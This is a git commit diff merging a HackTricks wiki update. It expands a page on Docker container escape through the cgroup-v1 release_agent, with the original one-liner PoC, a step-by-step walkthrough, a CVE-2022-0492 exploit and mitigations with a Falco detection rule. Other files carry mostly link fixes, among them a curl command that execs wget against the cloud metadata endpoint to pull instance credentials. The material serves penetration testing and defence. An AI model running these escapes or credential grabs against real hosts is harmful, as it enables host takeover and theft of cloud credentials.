Merge pull request #1110 from HackTricks-wiki/research_update_src_linux-hardening_privilege-escalation_docker-security_docker-breakout-privilege-escalation_docker-release_agent-cgroups-escape_20250712_110342

Research Update Enhanced src/linux-hardening/privilege-escal...
This commit is contained in:
SirBroccoli 2025-07-12 17:18:23 +02:00 committed by GitHub
commit 08be34a8cf
7 changed files with 118 additions and 58 deletions

View File

@ -57,7 +57,7 @@ This approach avoids direct file downloads and leverages familiar UI elements to
## References
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
- Discord Custom Invite Link Documentation https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
- Discord Custom Invite Link Documentation [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
Original PoC:
---
## Classic PoC (2019)
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
@ -14,51 +16,112 @@ touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
The PoC abuses the **cgroup-v1** `release_agent` feature: when the last task of a cgroup that has `notify_on_release=1` exits, the kernel (in the **initial namespaces on the host**) executes the program whose pathname is stored in the writable file `release_agent`. Because that execution happens with **full root privileges on the host**, gaining write access to the file is enough for a container escape.
1. **Prepare the Environment:**
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
### Short, readable walk-through
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
1. **Prepare a new cgroup**
```shell
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # or o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
```
2. **Point `release_agent` to attacker-controlled script on the host**
```shell
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
3. **Drop the payload**
```shell
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
```
4. **Trigger the notifier**
```shell
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # add ourselves and immediately exit
cat /output # now contains host processes
```
---
## 2022 kernel vulnerability CVE-2022-0492
In February 2022 Yiqi Sun and Kevin Wang discovered that **the kernel did *not* verify capabilities when a process wrote to `release_agent` in cgroup-v1** (function `cgroup_release_agent_write`).
Effectively **any process that could mount a cgroup hierarchy (e.g. via `unshare -UrC`) could write an arbitrary path to `release_agent` without `CAP_SYS_ADMIN` in the *initial* user namespace**. On a default-configured, root-running Docker/Kubernetes container this allowed:
* privilege escalation to root on the host; ↗
* container escape without the container being privileged.
The flaw was assigned **CVE-2022-0492** (CVSS 7.8 / High) and fixed in the following kernel releases (and all later):
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
Patch commit: `1e85af15da28 "cgroup: Fix permission checking"`.
### Minimal exploit inside a container
```bash
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
```
If the kernel is vulnerable the busybox binary from the *host* executes with full root.
### Hardening & Mitigations
* **Update the kernel** (≥ versions above). The patch now requires `CAP_SYS_ADMIN` in the *initial* user namespace to write to `release_agent`.
* **Prefer cgroup-v2** the unified hierarchy **removed the `release_agent` feature completely**, eliminating this class of escapes.
* **Disable unprivileged user namespaces** on hosts that do not need them:
```shell
sysctl -w kernel.unprivileged_userns_clone=0
```
* **Mandatory access control**: AppArmor/SELinux policies that deny `mount`, `openat` on `/sys/fs/cgroup/**/release_agent`, or drop `CAP_SYS_ADMIN`, stop the technique even on vulnerable kernels.
* **Read-only bind-mask** all `release_agent` files (Palo Alto script example):
```shell
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
```
## Detection at runtime
[`Falco`](https://falco.org/) ships a built-in rule since v0.32:
```yaml
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
```
2. **Set Up the Child Cgroup:**
- A child cgroup named "x" is created within the mounted cgroup directory.
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Configure the Release Agent:**
- The path of the container on the host is obtained from the /etc/mtab file.
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Create and Configure the /cmd Script:**
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Trigger the Attack:**
- A process is initiated within the "x" child cgroup and is immediately terminated.
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
{{#include ../../../../banners/hacktricks-training.md}}
The rule triggers on any write attempt to `*/release_agent` from a process inside a container that still wields `CAP_SYS_ADMIN`.
## References
* [Unit 42 CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) detailed analysis and mitigation script.
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -86,7 +86,7 @@ $ rmg enum 172.17.0.2 9010
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
@ -254,8 +254,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
@ -269,7 +269,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
@ -282,7 +282,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan
@ -316,4 +316,3 @@ Entry_1:
{{#include ../banners/hacktricks-training.md}}

View File

@ -163,7 +163,7 @@ curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
@ -337,4 +337,3 @@ You can use auditd to monitor docker.
{{#include ../banners/hacktricks-training.md}}

View File

@ -65,7 +65,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
@ -124,4 +124,3 @@ If you managed to get **admin credentials** you can **RCE inside of it** by addi
{{#include ../../banners/hacktricks-training.md}}

View File

@ -21,8 +21,8 @@ droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed)
```

View File

@ -94,6 +94,6 @@ Force SF12/125 kHz to increase airtime → exhaust duty-cycle of gateway (denial
## References
* LoRaWAN Auditing Framework (LAF) https://github.com/IOActive/laf
* Trend Micro LoRaPWN overview https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
* LoRaWAN Auditing Framework (LAF) [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
* Trend Micro LoRaPWN overview [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
{{#include ../../banners/hacktricks-training.md}}